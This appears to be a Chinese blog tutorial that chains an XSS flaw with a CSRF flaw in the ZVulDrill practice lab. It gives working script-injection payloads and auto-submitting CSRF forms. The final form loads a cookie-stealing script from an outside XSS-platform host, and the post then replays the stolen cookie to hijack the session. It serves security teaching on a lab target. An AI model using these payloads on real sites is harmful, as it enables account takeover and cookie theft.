内容字号:默认大号超大号

段落设置:段首缩进取消段首缩进

字体设置:切换到微软雅黑切换到宋体

当XSS遇上CSRF 看我打出这套组合技

2018-08-09 18:44 出处:清屏网 人气: 评论(0

今天我们来介绍一个场景,当 xss 遇上 csrf 的时候,是否能打出一套漂亮的组合技能。

实验环境:

ZvulDirll[请用下面我简单修改过的版本]

下载地址:链接: http://pan.baidu.com/s/1kUwQ6R9 密码: 92tc

一、安装:

0×00:解压 ZVulDrill 压缩包,将其放在 www 目录下,也就是你的网站根目录。

0×01、编辑 ZVulDrill\sys\config.php 中的数据库账号和密码

0×02、打开 mysql 终端,创建 zvuldrill 数据,使用下面的 sql 语句。

create database zvuldrill;

0×03、然后开始导入 sql 语句进 zvuldrill 数据库。

use zvuldrill;
source F:/wamp/www/ZVulDrill/sys/zvuldrill.sql;

0×04、打开浏览器,访问

http://localhost/ZVulDrill/

二、寻找 Xss 漏洞

0×00、搜索框的 xss

一开始打开这个 web 应用,我们可以大概看到的功能点,比如搜索留言、用户登录和注册、留言。而一般俩说搜索框容易出现 xss 或者 sql 注入的问题。

(1) 我们先输入一些内容进行搜索,比如 2333333。如下图

可以看到,我们搜索的内容显示在页面上。我们右键查看一下元素,观察 2333333 在什么标签之间。如下图,2333333 并没有被什么标签包裹住。

我们将搜索的内容变成<h1>test</h1>, 点击回车。可以看到页面上多了一个以 h1 标签显示的 test 字符串,也就是这里存在 xss 漏洞。网站后台并没有净化我们的特殊字符,使得我们输入的数据被当做成是标签来解析。效果如下图。

这里是一个存在 XSS 漏洞的点。

0×01、注册一个账号后,登录之后进行测试。

1)像这种留言板,一般在留言处比较容易出现 xss 漏洞。我们先试试在留言处输入一堆异常字符看看是否会被转义。如下图,我们输入 2333′”\&#;<>, 点击留言即可。 然后我们右键查看网页源代码,搜索”2333″, 我们看一下我们异常字符被怎样处理。

可以看到这里 2333 是被 td 标签包裹住,要是我们想插入我们的 javascript 代码,那我们需要先闭合<td>,可是我们的<>都被转义了。这里行不通。

2)我们继续看一看这里有的功能,有个编辑功能。点击进去看看。如下图,这里我们可以修改我们的用户名,而用户名的输出点,当前页面有一个,注意右上角的小框,那里是显示用户的用户名。

我们右键查看元素,查看一下右上角小框是被什么标签所包裹住。如下图,

这里的用户名是被 a 标签包裹住的,我们尝试一下闭合 a 标签然后插入一段 javascript 代码看看。

修改用户名为 test</a><script>alert(1)</script><a>

我们点击更新按钮,查看一下效果。

可以看到这里,执行了 script 标签内的 alert 函数。也就是这里存在一个注入点。我们修改一下 alert 的内容,即可获取 cookie 值。

修改用户名为 test</a><script>alert(document.cookie)</script><a>

我们正确的获取到了 cookie 值,但是这里的 xss 只能叉自己,我们怎样才能让这里的 xss 发挥真实的作用,盗取他人的 cookie 信息,而不仅是自己的呢?

三、CSRF 漏洞

正如 CSRF 漏洞是伪造别人发出某个请求,致使别人在不知情的情况下执行某个操作,如修改密码、留言、添加用户等等。

0×00、如何测试是否存在 CSRF 漏洞

1) 这里需要用到 Brupsuite 来对网站后台的防御进行一些分析。第一个是观察发出的请求是否带有随机的 Token 值;第二个是分析网站后台是否对 Referer 进行校验。

我们配置好浏览器的代理为 Brupsuite 监听的端口。点击更新用户名,Brupsuite 抓取数据包。如下图

可以看到 Post 的数据包中并没有出现 token 字眼,随机数 token 一般是网站用来防御 CSRF 的一个措施。除了 Token,我们还有两个要点要分析。第一个要点,网站是否校验了请求的 Referer,这个 Http header 是用来表示请求的来源地址是什么。如果是 CSRF 的话,那么 Referer 的值将会为空。

2) 我们在数据包的空白处右键,send to repeater,发到 repeater 方便我们修改数据之后重放请求。这里我们将上面 Post 数据中的 Referer 那一行删除掉。

删除后,点击 Go 按钮。返回内容如下图。 返回的数据包将我们重定向到 edit.php,我们继续点击 follow redirection 按钮,观察一下返回的页面内容。

我们再下面的搜索框那里输入 demo11,可以发现有两处匹配到了。说明我们这里修改成功,在 Http header 没有附带 Referer 的情况下。

3) 接下来我们要对最后一个要素进行验证,就是 Post 数据中的 id 参数。我们要验证 id 参数的存在是否影响我们修改用户名。我们同样是在 Repeater 里面,把 Post 数据中的 id 参数删除掉,同时我们把 username 也修改成 demo22,用来与上一次的修改区分开。如下图。

修改完成之后,我们点击 Go 按钮,让数据包发送。如下图,返回的响应还是 302,将我们重定向 edit.php,但是页面中还有 Php 的 Notice 信息,提醒我们 id 变量不存在。

我们继续点击 follow redirection。然后再右下角的搜索框那里搜索 demo22。

可以看到在下图,demo22 出现了两次,说明我们修改成功。也就是说,这里的 id 参数并没有影响我们修改用户名。通过上面的两次分析。我们可以确定这里存在着 CSRF 漏洞。下面我们写一个简单的页面去测试。

4) 测试 CSRF 的 Poc

<!DOCTYPE html>

<html>

<head>

<meta charset="UTF-8">

<title>测试 CSRF 漏洞 Poc</title>

</head>

<body>

<form action=" http://localhost/ZVulDrill/user/updateName.php " method="post" name="update_name" id="Poc">

<input type="hidden" name="username" value="hacker" id="inputEmail">

<input type="hidden" name="update" class="btn btn-primary" value="更新"/>

</form>

<script type="text/javascript">

var formTag = document.getElementById("Poc");

formTag.submit();

</script>

</body>

</html>

我们复制上面的内容到文本编辑器,然后保存为 poc.html。然后在登录了 Zvudrill 之后,在同一浏览器打开 poc.html。

下图是我的 brupsuite 抓取到 poc 发送到网站的请求,可以发现并没有 Referer 值。

我们把 brupsuite 的代理功能关闭。然后查看一下 Poc 的效果。

可以看到下图中的用户名已经被修改成 hacker。

四、综合利用

1)、经过上面的分析,我们知道更新用户名这里的 username 并没有过滤特殊字符可以造成 xss,然后更新用户名发送的请求存在 CSRF,可以在用户点击的时候,修改用户的用户名。因而我们可以写出下面的 Poc。

<!DOCTYPE html>

<html>

<head>

<meta charset="UTF-8">

<title>测试 CSRF 漏洞 Poc</title>

</head>

<body>

<form action=" http://localhost/ZVulDrill/user/updateName.php " method="post" name="update_name" id="Poc">

<input type="hidden" name="username" value="demo</a><script>alert(document.cookie)</script><a>" id="inputEmail">

<input type="hidden" name="update" class="btn btn-primary" value="更新"/>

</form>

<script type="text/javascript">

var formTag = document.getElementById("Poc");

formTag.submit();

</script>

</body>

</html>

我们点击源代码为上述代码的 html 页面之后,将会出现这样的效果。

2) 当然,我们这里的 value 还可以是包含一段恶意的 js 代码,可以窃取当前用户的 cookie 到 xss 平台。之后便可以使用盗取的 cookie 全仿造用户的身份去做其他操作了。

下面我使用 Xss 平台的一个盗取 cookie 的链接,Xss 平台的 注册地址

Poc 如下:

<!DOCTYPE html>

<html>

<head>

<meta charset="UTF-8">

<title>测试 CSRF 漏洞 Poc</title>

</head>

<body>

<form action=" http://localhost/ZVulDrill/user/updateName.php " method="post" name="update_name" id="Poc">

<input type="hidden" name="username" value="test</a><script src= http://t.cn/RG3kRlu ></script><a>" id="inputEmail">

<input type="hidden" name="update" class="btn btn-primary" value="更新"/>

</form>

<script type="text/javascript">

var formTag = document.getElementById("Poc");

formTag.submit();

</script>

</body>

</html>

[1] 我在 Firefox 浏览器进行登录,然后再 Firefox 浏览器打开 poc.html。然后在 chrome 浏览器利用 cookie 进行登录。

在登录 Firefox 进行登录,如下图

我们再 Firefox 中打开 poc.html, 如下图 [2] 我们登录 xss 平台,找到创建的项目。可以看到已经获取到了受害者的 cookie。

[3] 利用盗取的 cookie, 在 chrome 浏览器直接仿造身份。

step1:访问 Xss 平台中获取的 Referer 的 url

step2:通过 Chrome 的 EditThisCookie 插件,重写我们的 cookie。 step3:再次访问 Referer 对应的 url,观察效果。如图


分享给小伙伴们:
本文标签: XSSCSRF

相关文章

发表评论愿您的每句评论,都能给大家的生活添色彩,带来共鸣,带来思索,带来快乐。

CopyRight © 2015-2016 QingPingShan.com , All Rights Reserved.

清屏网 版权所有 豫ICP备15026204号